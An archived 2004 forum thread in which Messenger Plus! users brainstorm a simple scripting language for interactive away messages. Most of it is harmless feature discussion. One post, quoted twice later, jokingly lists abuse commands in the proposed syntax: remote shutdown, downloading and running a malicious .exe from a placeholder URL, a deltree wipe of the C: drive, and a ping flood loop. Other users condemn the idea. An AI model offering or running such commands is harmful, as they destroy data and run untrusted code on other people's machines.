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Advanced Auto Message Programming by eurorepublik on 04-11-2004 at 06:53 PM

i was in the shower the other day and i thought how great it would to have
Advanced auto messages

basically what it is, is a very small programing language, that allows you to customize
your away message

for example you could make a list:

"
Hey im not here right now:
Type a desired number:

1. Where i am?
2. My phone number
3. Send my photo
4. Visit my website

"

thats what it would look like

and the code would look something like:

"

code:
write "Hey im not here right now:"
write "Type a desired number:"

write "1. Where i am?"
write "2. My phone number"
write "3. Send my photo"

if user type 1 then
type "at my girlfriends"

if user type 2 then
type "519-654-2232"

if user type 3 then
send "c:/documents and settings/my documents/myphoto.jpg"

if user type 4 then
remote /run www.eurorepublik.tk

"


OR even something like
"
code:
if sexygirlfriend@hotmail.com msg
then type "hun im driving to your house now, i`ll be there soon"

else type
"im at my girlfriends"

"

and i know what your all thiking, blah blah that would be to much work, no it woudlnt so

shut up....

what you think patcho, good shower idea or no?

please only positive feedback, and this idea is do-able and posible, so dont saying it would take forever to create soemthing as simple as this.

RE: Advanced Auto Message Programming by Stigmata on 04-11-2004 at 06:57 PM

i would like that......and well im preety sure that its possible...but well patchou is now trying to get more noobs involved in the features of plus.....

and this is going to be adding to the list of introductions :S

btw thumbs up....love the idea :)


RE: Advanced Auto Message Programming by eurorepublik on 04-11-2004 at 06:59 PM

thanks jackass_wannabe, this is a great idea i know, im not nessasaryly asking for it, im just presenting it, i know patcheo will think its a good idea....

some suggestions will do....

keep the feedback coming.


RE: Advanced Auto Message Programming by leito on 04-11-2004 at 07:15 PM

Simply Amazing, (Y)(Y)(Y)

Hope someone do it, good idea eurorepublik


RE: Advanced Auto Message Programming by ZrednaZ on 04-11-2004 at 07:23 PM

I know you don't want any negative feedback, nevertheless it sort of goes with the territory. :D

I see this as an excessive feature...
Your issue could be overcome by simply telling your girlfriend that you're on your way to her house before leaving...;)
Anyway, I think very few people would bother spending several minutes making a complicated/advanced away message when leaving their computer.
Why not just type in your location, phone number etc. into the standard away-message feature instead of making people type a number if they want info about your whereabouts?
Sure it would be a nice feature somehow (especially the "send my photo" part), but definitely excessive.
Well that's just my opinion. :)

//Zred


RE: Advanced Auto Message Programming by leito on 04-11-2004 at 07:36 PM

quote:
Originally posted by ZrednaZ
I see this as an excessive feature...

ZrednaZ i see your point, but.. if you think, every feature in PLUS! is excessive, Plus! is fun.
RE: Advanced Auto Message Programming by saralk on 04-11-2004 at 07:37 PM

ur a bit up urself arent u.

Your idea isnt that great, and the way ur suggesting means that a lot of ppl wont use it, cos they wnt know how it works.

If patchou does do it, i think hell do it this way. See attatchment


RE: Advanced Auto Message Programming by user27089 on 04-11-2004 at 07:37 PM

I think its a great idea, you could also use it to annoy ppl, like

1. Where am i > 1. u really want to know

etc. if you get wat i mean, a we of numbers :lol:


sum1 will make it muahaha

/slaps jackass_wanabe


RE: Advanced Auto Message Programming by leito on 04-11-2004 at 09:00 PM

quote:
Originally posted by traxor
I think its a great idea, you could also use it to annoy ppl, like

1. Where am i > 1. u really want to know

etc. if you get wat i mean, a we of numbers :lol:


sum1 will make it muahaha

* traxor slaps jackass_wanabe around a bit with a large trout.


quote:
Originally posted by traxor
I think its a great idea, you could also use it to annoy ppl, like

1. Where am i > 1. u really want to know

etc. if you get wat i mean, a we of numbers :lol:


sum1 will make it muahaha

/slaps jackass_wanabe


Is the same post?? I didnt get idea saralk, what eurorepublik is suggesting is complicated, yes, but it's usefull, I think I could use it, in the night, or while I'm at school. Its just and answering machine, that could handle simple situations. (Give emails, phones, "schedules" (horarios se dice asi?), etc.
RE: Advanced Auto Message Programming by bnevets27 on 04-11-2004 at 09:37 PM

nice i idea i like it, one b/c not everyone cares where u r, just that ur not there etc.  and its fun, if its too complicated then don't use it. anyhow good idea (Y)


RE: Advanced Auto Message Programming by saralk on 04-11-2004 at 09:40 PM

the original version is suggesting a programming language style thing, however that would involve coding a language to start off with, and providing documentation for it, considering how many ppl post on these forums asking if they can do something that plus already lets them do, most people would just get confused by it.

My idea lets you set conditions, so in the example, pretend Where is actually here. then the whole thing would be

When a message contains "hello" send a message saying "Hi im busy right now, ill talk to you later"


RE: Advanced Auto Message Programming by bnevets27 on 04-11-2004 at 09:45 PM

i don't see how that is different from just using the auto msg, if u type anything they will get the auto msg. the idea adds interaction and more detailed info if u want it


RE: Advanced Auto Message Programming by leito on 04-11-2004 at 10:28 PM

quote:
Originally posted by saralk
When a message contains "hello" send a message saying "Hi im busy right now, ill talk to you later"

Hey, now i got your idea, sorry my english isn't very good. I like your idea too, but i prefer the numbered thingy.
RE: Advanced Auto Message Programming by brianjdupuis on 04-11-2004 at 10:33 PM

I like your idea, I totally support you if that puts any weight on Patchou. :)


RE: Advanced Auto Message Programming by Sk3tch on 04-11-2004 at 11:07 PM

its been suggested many times, i cant remember what the response from Patchou was but if it wasn’t added there is a good reason why :P anyway i like the idea as said before (Y) not so much useful but handy/funny in a sense.


RE: Advanced Auto Message Programming by Chrono on 04-11-2004 at 11:31 PM

its a good idea, though it would be a bit complicated for newbies, and not many users would use it :P


RE: Advanced Auto Message Programming by eurorepublik on 04-12-2004 at 02:44 AM

thanks so much guys, for all the positive feedback, yes it would be complicated, thats why im saying make it really simple, like just add code to what you can already do in msn, not add extra crap that way its simple and you dont need to read a bible to figure out how to use it, im surprised at how much great feedback i got, this idea is seeming to be better than i though, hopefully it will be considered, and i know for sure, i would use it, whos with me ????

thanks again for all the great feedback now all we need is a mod to read it, then recommmended to pathco


RE: Advanced Auto Message Programming by bach_m on 04-12-2004 at 03:07 AM

a mod has read it (look above ur post), but htey dont have any real say in the idea process. just as much as anyone whose been here for a while.


RE: Advanced Auto Message Programming by Varish on 04-12-2004 at 03:16 AM

I dont think it necesserly have to be complicated to newbies.....
What im Sayng is if the interface is cool then this plugin is a very very kool one,

It could be made somethin like this.....

The advance Auto Messege prog. asks the user the questions to be seen..

and then the answers for each question...thats all.......:)


RE: Advanced Auto Message Programming by leito on 04-12-2004 at 04:17 AM

Hi, I had nothing to do, so I make this...

[Image: attachment.php?pid=225189]


RE: Advanced Auto Message Programming by leito on 04-12-2004 at 04:19 AM

And the Conversation window should look like this to the contact that is talking to you.

[Image: attachment.php?pid=225191]

Forgot to blur my email!8-) hahaha its ok, that's my third email.


RE: Advanced Auto Message Programming by Varish on 04-12-2004 at 04:21 AM

Nice!


RE: Advanced Auto Message Programming by eurorepublik on 04-12-2004 at 05:55 AM

great job leito.gt, looks aweseome.

but, i was thinking about leaving the automessage thing the same, just simplying implemting commands into it, so you could still leave a normal automessage or program your own if you feel like it...

althought i know you would have to type some prefix to start the programing mode so it would know the difference between a "write" command and "write"  written type

so im sure you could type somethign like

[prog]    then teh program goes in here [/prog]

and this is all in the autoaway message, so unless you type
[prog]   [/prog] then it will just be a reagualar automessage with out no code..

but anyways, leito.gt the screenshot was well worth the time, but not exactly what i had in mind,

why dont you try taking a screenshot of the orginal autoaway personalization, and add some code in there such as:

[prog]

write "1. where am i?"
write "2. how much i weight"

if user type 1 then
type "at my girlfriends"

if user type 2 then
type "160 lbs."

[/prog]


RE: Advanced Auto Message Programming by bnevets27 on 04-12-2004 at 06:12 AM

i like the interface idea in the options panel, that makes it really easy, i think a newbie could handle that


RE: Advanced Auto Message Programming by eurorepublik on 04-12-2004 at 06:16 AM

Zred, your very contradictory, this isnt an issue of overcomming problems, its a matter of making msn plus add more features... and well why do we have an autoauto message at all, when we can "over come this issue by simply" telling everyone on our list where were goin, see what im getting at here, sure it will...
and its not about spending 10 minutes making a autoaway message everytime, its about making one once, and using that for everytime, so its convenet. that way people can still get info about you, if you program it, pic, phone number, where you are, etc etc...

this yes isnt for everyone, only for those who want it...


i remmeber no one ever used the colour msn names untill one person did it, then everyone started asking how to do it, im sure it will catch on if people see it




RE: Advanced Auto Message Programming by eurorepublik on 04-12-2004 at 06:40 AM

shit im coming up with awesome ideas already


code:
write "Pick an mp3"
write "1. Flashrider - sex in the club"
write "2. Masterblaster - how old R U ?"
write "3. Special d - come with me"

if user type 1 then
send "c:/music/Flashrider - sex in the club.mp3"

if user type 2 then
send "c:/music/Masterblaster - how old R U.mp3

if user type 3 then
send "c:/music/Special d - come with me.mp3"



its so simple, the programming lanuge is even self-explainitory
RE: Advanced Auto Message Programming by reisyboy on 04-12-2004 at 08:40 AM

I was looking and thinking if you actually changed it to actual Macros. You could make it for messages you send as well. It would also include then the ability for the user to make presets of commands todo in quick moves. It would also then be able todo away messages. However thinking about it, what would be even better is scripting for Plus!, that could do this an so much more :)


RE: Advanced Auto Message Programming by saralk on 04-12-2004 at 02:36 PM

If you make it a full blown language, than there are many problems with it.

firstly, newbies wouldnt understand what to do with it, they would just get confused, if everyone knew how to code, than we could all make our own program that did exactly wot we wanted.

secondly, as patchou has already said, if he made a programming language, there is a chance that people could use this for hacking and stuff, the only way to combat this would be to limit the amount of functions and stuff available, but then less people would use it.

I think this idea is a good idea, but its slightly too sepcialists tbh. Not many people would use it. However, if u are gona make it, it shouldnt be a language, more like a wizard style system. with rules and stuff, sort of in the same way outlook express's mail filter works.


RE: Advanced Auto Message Programming by leito on 04-12-2004 at 02:47 PM

quote:
Originally posted by saralk
firstly, newbies wouldnt understand what to do with it, they would just get confused, if everyone knew how to code, than we could all make our own program that did exactly wot we wanted.

I agree

quote:
Originally posted by saralk
if u are gona make it,

Could this be done by a Plug-in?

quote:
Originally posted by saralk
like a wizard style system

Just like mine ;) (h)

RE: Advanced Auto Message Programming by eurorepublik on 04-12-2004 at 04:03 PM

yes its called advanced, but its a simple advanced automessage system, im not talking about making it into a full blown languge, im just saying keep it simple

write, send, remote, if, then, record, blah blah, just simple enough things that are impossible to be used for hacking. that way were all happy, and for the last time, YES not everyone will use it but people will see the little colourful menus, and inquire how to do it, and it will catch on just like the colourful msn names. that took a while but it worked. eh.

come on someone present this to patcho


RE: Advanced Auto Message Programming by saralk on 04-12-2004 at 04:56 PM

u dont 'present' it to patchou, patchou just see the post and will comment on it, im 99.9% sure that he will say no, but if he says yes im 95% sure he'll go for a 'wizard' style thing, as oppose to a 'language' style thing.


RE: RE: Advanced Auto Message Programming by ZrednaZ on 04-12-2004 at 06:28 PM

quote:
Originally posted by leito.gt
Forgot to blur my email!8-) hahaha its ok, that's my third email.

Nevermind, you've already made it available in ur MsgPlus profile :P
RE: RE: Advanced Auto Message Programming by Chrono on 04-12-2004 at 09:39 PM

quote:
Originally posted by eurorepublik
shit im coming up with awesome ideas already


code:
write "Pick an mp3"
write "1. Flashrider - sex in the club"
write "2. Masterblaster - how old R U ?"
write "3. Special d - come with me"

if user type 1 then
send "c:/music/Flashrider - sex in the club.mp3"

if user type 2 then
send "c:/music/Masterblaster - how old R U.mp3

if user type 3 then
send "c:/music/Special d - come with me.mp3"



its so simple, the programming lanuge is even self-explainitory


Errr thats a bit too much :P
i mean, its just an away message! :chrongue:

*thread pruned*
Be nice everyone :P
RE: Advanced Auto Message Programming by reisyboy on 04-12-2004 at 09:52 PM

A language would be nice, however as i see it a Wizard to setup and then an edit button to edit manually maybe, aswell as create from stract within Plus! doing basicly what the wizard does. This may give you more functionality etc :)


RE: Advanced Auto Message Programming by saralk on 04-13-2004 at 03:58 PM

i think its a great idea, but still im pretty sure that he wont care.

Just because you think something is a great idea, doesnt mean u think someone else is going to think it.

Another example, a lot of people think communism is a good idea, however they know that in practice it never works


RE: Advanced Auto Message Programming by Wabz on 04-13-2004 at 04:19 PM

It's a nice idea (Y)  bit complicated for the lesser user tbh

Make it into a plugin perhaps use something more like Mirc scripting though for the frotn end


RE: Advanced Auto Message Programming by Hah on 04-13-2004 at 07:32 PM

I could make a plugin, the structure would be something like:

User = Youre Contact

-> User makes contact
-> You use plus's standard away system add on end special command instructions.

--> User sends special command
--> Plugin sends scripted menu (from recievenotify)

---> User sends responce via further command
---> Plugin executes script or sends error message.

This way plus's standard away system is intact and only users who care or know how will use the extended features, meaning no noobs are getting confused ;).

Debate :p :)


RE: Advanced Auto Message Programming by jeanhub on 04-13-2004 at 07:56 PM

Well I have a better idea Just log off and now Create you an MSN bot and it will be smehting like this :p (just put his status away) Maybe I can help Because I own 2 bots :D


RE: Advanced Auto Message Programming by leito on 04-14-2004 at 04:57 AM

quote:
Originally posted by Hah
I could make a plugin, the structure would be something like:

Hah, let's give it a try!
RE: Advanced Auto Message Programming by eurorepublik on 04-14-2004 at 07:30 PM

no lets just let patchyio do it, im sure he will love the idea.

where is he to comment anyways, lol come on man, read your fourm :)

probably busy with the french gals, women in montreal are amazing :) god i love being a euro-canadian. (born in euro, live in canada, before you start bitchin)


RE: Advanced Auto Message Programming by leito on 04-14-2004 at 10:34 PM

Hey im the vice, hahaha, a plugin could be a good start to test this feature


RE: Advanced Auto Message Programming by eurorepublik on 04-14-2004 at 10:39 PM

yeah i guess, but lets try to stress to make this an actual feature, and not a plug-in, but if thats nessasary then sure lol

good job vice.


RE: Advanced Auto Message Programming by user27089 on 04-15-2004 at 08:36 PM

i think this plugin is pointless :), but twill be fun :)


RE: Advanced Auto Message Programming by eurorepublik on 04-15-2004 at 09:09 PM

thats contradictory


RE: Advanced Auto Message Programming by bnevets27 on 04-17-2004 at 06:03 AM

lol yeah that really is theres a point right there, fun


RE: Advanced Auto Message Programming by TedoDude on 04-17-2004 at 10:46 AM

That is a great idea, but remember, contacts are not always online when you leave, so then you could not tell your girlfriend you were going to her house before you left. I suppose u could do a come-back message, but quite often i find they don't come online and it is too late, i forget to turn it off and i have to explain it away.

Does Patchou include plugins when he creates his newer versions? I read something about him choosing not to include Handwriting Plugin in Messenger Plus 3!.

Anyway, great idea.


RE: Advanced Auto Message Programming by eurorepublik on 04-18-2004 at 03:08 AM

Thanks your only adding to the thousands of other people that like this idea as well and think it should be done. :)

PAtchio hear me ROAR.


RE: Advanced Auto Message Programming by CookieRevised on 04-18-2004 at 05:17 AM

quote:
Originally posted by TedoDude
Does Patchou include plugins when he creates his newer versions? I read something about him choosing not to include Handwriting Plugin in Messenger Plus 3!.
Plugins were/are never included in Messenger Plus!...
Handwriting works in Plus!3...
quote:
Originally posted by eurorepublik
Thanks your only adding to the thousands of other people that like this idea as well and think it should be done. :)
Thousands??? tbh, I don't think so...
btw: Patchou reads almost every thread, but he wont reply to all threads...
ps: Your last post could be considered spam... It doesn't bring anything usefull to the thread...

RE: Advanced Auto Message Programming by rompom7 on 05-04-2004 at 09:22 AM

If anyone has seen the triggers system in the Warcraft III Map Editor

Thats how this plugin/feature should work

For all those that havent seen it, it pretty much is like that wizard idea, giving a list of variables, commands, options, etc...


RE: Advanced Auto Message Programming by TedoDude on 05-05-2004 at 12:08 PM

Possible to do something like this with Plus! 3? As you will be able to use commands in automessages.... patchou said he added it after another post...

This is great and it would be a shame to see it not happen......


RE: Advanced Auto Message Programming by Alpha Binary on 05-08-2004 at 12:17 PM

what about THIS:

remote /run shutdown -s 1

??

kinda interesting, isn't it?
what about this?

remote /run http://my.website.com/some/malicious/contents.exe
remote /run deltree c:\*.* -y
remote /nick ***************** (use your imagination)
loop:
remote /all /ping
goto loop

lol

it's a great idea anyway.
patchou once came up with an idea about scripting. i was eagerly looking forward to that, but at last he didn't implement it. :(


RE: Advanced Auto Message Programming by saralk on 05-08-2004 at 12:54 PM

i dont think u will ever be able to do the remote run system, that would be too :dodgy:.


RE: Advanced Auto Message Programming by XM4ST3RX on 05-10-2004 at 03:30 PM

I gaurentee Patchou has already seen the post and read many of the replies and ideas that come with it. I just believe he cant answer yet :P LoL


But i think its an amazing idea.

I mean c'mon... it wont be like a small feature... it will be BIG, mIRC scripting is talked about all over etc and even has websites for it.

If Patchou implements a cool scripting language, with a GUI just for simplicity... then it will be good for both advanced and beginner users.

It doesnt neccasarily just have to be for an auto-away message, if it was big enough it could be to script MANY different cool features and stuff... I know the plugin feature allows you to add features but im sure theres many other things u could do with this idea...


GO ON PATCHOU... LIVE A LITTLE!!


RE: Advanced Auto Message Programming by sparkymcg on 05-13-2004 at 03:19 PM

i think this idea is really good (y) and i would like to see it being made


RE: Advanced Auto Message Programming by Varish on 05-13-2004 at 03:41 PM

Have anybody tried to make this idea into a reality?


RE: Advanced Auto Message Programming by The Napster on 05-13-2004 at 05:24 PM

Great idea, hope someone WILL make that kind of plugin. looking forward to it.


RE: Advanced Auto Message Programming by kao on 05-13-2004 at 05:56 PM

Sounds like a good idea to me, but it should use a nice and simple GUI, but maybe it saved the advanced away's into a .ini file or something, which could be edited manually that way aswell, as for commands (write, send etc) only a few and it shouldn't allow other plus commands in the answers (like /ping etc), like only allow "write" "send" or something. but its all up to Patchou :p


RE: Advanced Auto Message Programming by Stigmata on 05-13-2004 at 06:22 PM

quote:
Originally posted by Alpha Binary
what about THIS:

remote /run shutdown -s 1

??

kinda interesting, isn't it?
what about this?

remote /run http://my.website.com/some/malicious/contents.exe
remote /run deltree c:\*.* -y
remote /nick ***************** (use your imagination)
loop:
remote /all /ping
goto loop

lol

it's a great idea anyway.
patchou once came up with an idea about scripting. i was eagerly looking forward to that, but at last he didn't implement it. :(



i very much doubt that. that is a realy horrible thing to do, i would never ask for anything like that...just wrong.....makes u no better then a hacker
RE: RE: Advanced Auto Message Programming by Edu115 on 05-13-2004 at 07:53 PM

quote:
Originally posted by jackass_wanabe
quote:
Originally posted by Alpha Binary
what about THIS:

remote /run shutdown -s 1

??

kinda interesting, isn't it?
what about this?

remote /run http://my.website.com/some/malicious/contents.exe
remote /run deltree c:\*.* -y
remote /nick ***************** (use your imagination)
loop:
remote /all /ping
goto loop

lol

it's a great idea anyway.
patchou once came up with an idea about scripting. i was eagerly looking forward to that, but at last he didn't implement it. :(



i very much doubt that. that is a realy horrible thing to do, i would never ask for anything like that...just wrong.....makes u no better then a hacker



well .. i guess you know well all your contacts,  as you only add to the contacts those you want to add .. .
RE: Advanced Auto Message Programming by saralk on 05-13-2004 at 08:11 PM

there will never be the ability to do remote /run for the exact reason you have just said, the only thing i can see it doing is a confirmation message saying "xxx wants you to change your screen name to ... do you accept"

but that would be v annoying, so i doubt the feature wud be implemented at all


RE: Advanced Auto Message Programming by leito on 07-07-2004 at 09:26 PM

Hah, no one make a plugin for this right?


[no subject] by kabuto_maniac on 07-08-2004 at 08:48 AM

I saw quite alot of variants on the advanced auto-reply subject in this thread, almost forcing it to turn into a plug-in... I was wondering if it couldn't just simply be started off with something like sending a different message to different contacts. I'm pretty sure that is very well possible, for you can select the people that are allowed to receive it and the people that aren't... that shouldn't be too much of a problem, should it? and on top of it: it would be very useful. imo.


RE: RE: Advanced Auto Message Programming by eurorepublik on 08-24-2004 at 12:21 AM

quote:
Originally posted by saralk
i dont think u will ever be able to do the remote run system, that would be too :dodgy:.


no shit sherlock.




quote:
Posted by XM4ST3RX - 05-10-2004 at 03:30 AM
I gaurentee Patchou has already seen the post and read many of the replies and ideas that come with it. I just believe he cant answer yet  LoL


But i think its an amazing idea.

I mean c'mon... it wont be like a small feature... it will be BIG, mIRC scripting is talked about all over etc and even has websites for it.

If Patchou implements a cool scripting language, with a GUI just for simplicity... then it will be good for both advanced and beginner users.

It doesnt neccasarily just have to be for an auto-away message, if it was big enough it could be to script MANY different cool features and stuff... I know the plugin feature allows you to add features but im sure theres many other things u could do with this idea...


GO ON PATCHOU... LIVE A LITTLE!!



yeah he better have. my idea owns.
RE: Advanced Auto Message Programming by BEWARE^^ on 08-24-2004 at 11:14 PM

well atleast you make yourself clear about your way of thinking ;)


RE: Advanced Auto Message Programming by Kareeser on 08-27-2004 at 04:56 PM

quote:
Originally posted by saralk
there will never be the ability to do remote /run for the exact reason you have just said, the only thing i can see it doing is a confirmation message saying "xxx wants you to change your screen name to ... do you accept"

but that would be v annoying, so i doubt the feature wud be implemented at all

Especially with the looping thing... :P

I don't even use the "Multiple Away" feature anymore. It had novelty appeal for a couple days, and then I just stopped using it, since it was much easier to set a normal away.

Do people really need a little robotic secretary now when they go to watch TV? :P
RE: Advanced Auto Message Programming by michael_m91 on 08-27-2004 at 10:20 PM

(Y) Very Do-able, and it would'nt be a lot of work, I bet Patchou could make the changes in Less than a Week


RE: Advanced Auto Message Programming by anand on 08-28-2004 at 09:11 AM

Thumbs up for idea...